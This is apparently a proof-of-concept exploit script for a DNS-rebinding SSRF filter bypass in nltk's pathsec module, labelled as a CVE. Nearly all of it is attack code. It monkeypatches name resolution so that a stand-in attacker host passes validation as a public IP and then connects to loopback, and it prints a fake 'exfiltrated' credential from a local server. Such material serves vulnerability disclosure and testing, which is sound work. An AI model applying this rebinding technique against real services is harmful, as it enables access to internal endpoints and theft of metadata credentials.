CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass

import socket
import threading
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

import nltk.pathsec as ps

ps.ENFORCE = True  # documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"
PUBLIC_IP     = "93.184.216.34"   # returned on lookup #1 (validation)
SECRET        = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"

class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)
    def log_message(self, *a): pass

def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]

_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)

def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        # First call  -> validation side  -> public IP (passes filter)
        # Second call -> connect side     -> loopback  (reaches internal service)
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"
        p  = port if isinstance(port, int) else 0
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)

port = start_internal_server()
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear()

evil_url = f"http://{ATTACKER_HOST}:{port}/"
with ps.urlopen(evil_url, timeout=5) as r:
    body = r.read()

print("Exfiltrated:", body)  # b'TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS'
assert SECRET in body, "exploit failed"